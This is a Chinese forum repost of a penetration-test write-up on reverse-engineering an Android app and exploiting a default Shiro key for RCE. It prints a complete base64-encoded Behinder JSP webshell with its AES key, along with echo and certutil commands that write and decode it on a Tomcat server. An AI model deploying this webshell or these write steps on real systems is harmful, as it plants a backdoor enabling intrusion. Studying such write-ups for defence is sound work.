安全矩阵

 找回密码
 立即注册
搜索
查看: 660|回复: 0

APP简单逆向和getshell 编码安全

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2023-6-4 10:48:01 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2023-6-4 10:47 编辑

APP简单逆向和getshell

原文链接:APP简单逆向和getshell 编码安全
编码安全       编码安全    2023-06-02 08:30 发表于福建  

前言

对某APP渗透测试,主页就一个登录框,登录框认证调用的公司门户站的SSO单点登录,再加上长亭的waf,几乎牢不可破,常规手法都进行尝试,没有什么突破点。通过对APP包中代码进行分析,该APP采爱加密加固进行保护,通过反射大师可以进行脱壳,得到APP的dex文件,接着通过jadx工具查看分析代码。
逆向分析

大致粗略的看了APP代码,用的okhttp框架(网络框架https://square.github.io/okhttp/),APP中有反抓包检测对抗,直接hook绕过即可正常抓网络数据包,但没有什么敏感信息可以利用,登录验证算法都是调用的单点登录,也没有什么突破点。  



分析突破口

1、通过分析代码中的BaseUrlConfig类中有一串URL,都是一个ip,但是端口不一样。
推荐可通过AppInfoScanner工具进行对APP中的URL进行获取
https://github.com/kelvinBen/AppInfoScanner



2、访问APP中硬编码的链接,页面空白,由图标得知上面链接搭载tomcat(免费的web服务器)




3、通过jadx工具全局搜索http://关键词,又搜到一个url(这次是域名),类似于http://xxxxx:8080/web/weixin/xxxxxx,浏览器打开看了一下,没啥东西,也是空白页面。因为url中出现weixin关键词,推测两种可能,第一种:登陆点,第二种,微信授权接口。所以简单猜了下路径,在weixin后面加了个login,http://xxxxx:8080/web/weixin/login,发现登陆点,由于路径跟上面发现的url类似,推测它也是java的后端,直接shiro(强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理)一把梭,默认key,成功rce,java后端rce一般都是system权限。



写入webshell
获取RCE之后,当然不能只满足现状,为了方便管理,肯定得写webshell的。写shell,用的最多的就几种,小马传大马,手动echo写入,远程下载等方式,这里服务器不通外网,也就没法远程下载了,没有上传点,而且小马的代码量跟冰蝎差不多,就不考虑写小马了。
坑1—特殊字符转义
windows服务器写shell,常规做法无非就是echo  shell内容 >  shell.jsp,shell内容中肯定有特殊字符,用^转义一下就行了,但是这里目标环境是jsp,jsp马跟其它马不一样,内容多,特殊字符多,转义起来麻烦得很,我这里以写冰蝎为例,转义了半天,把所有特殊字符都转义了,先本地测试了一下,能成功写马,但是在shiro工具里就不行…估计跟编码有关,无果。放弃。
坑2—BASE解码报错

特殊字符多,还有方案是先把shell内容base64编码一下,然后在目标机上解码。cmd是有base64解码的功能的,具体可以百度certutil用法。certutil -decode 1.txt 2.txt //1.txt解码生成2.txt。情况还是一样的,本地测试成功,在服务器上就是解码失败,输出长度为0,箭头指向的本来是0的,我偷懒就随便找了张图 。



成功写入webshell

最后咋解决的呢,最后采用的fuzz大法,把shell内容一段段base64编码上传,然后解码,一段一段的fuzz测试,看到底是那部分字符导致了base解码失败。最后锁定了冰蝎马的最后四个字符;}%>,不加这四个字符,base64解码能正常输出内容,只要base64编码里是以这四个字符结尾,那么就解码报错。
坑3—根目录webshell不解析
成功写入webshell之后,解码也成功了,webshell地址写在了网站根目录,连接时发现报错,手动访问发现webshell直接变成了下载链接,webshell根本没解析。后来将webshell写入docs目录下才成功解析,因为docs目录是tomcat自带的说明文档目录。
整理思路1、找到了问题所在,那么就定点打击。思路是:先将除最后四个字符以外的shell内容base编码传到目标上,然后解码输出到2.jsp。
echo   PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KQ>1.txt
certutil -decode 1.txt 2.jsp2、
剩下的四个特殊字符经过echo语句 手动追加到2.jsp末尾
echo ^;^}^%^>>2.jsp



3、最后成功写入docs目录。附上一张连接图




小结

一次性base解码写shell成功,而且直接通过文件下载把webshell下载到目标中也行,每个人遇到的环境都可能不一样,最好的方法就是不断fuzz测试,找到报错的原因,然后精准打击。
内存马注入也可以,但是任意把站弄崩,别问我怎么知道的,不到万不得已不注入内存马。
最后确认资产的时候没打偏,打到了该公司的一台其他业务的服务器上去了,如果从正面刚APP的话,就算有shiro,也没法绕waf,如果正面无法突破的话,可以尝试搜集一些app内部的敏感信息,说不定有突破口。
结束
文章来源:https://xz.aliyun.com/t/10906


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 14:46 , Processed in 0.012901 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表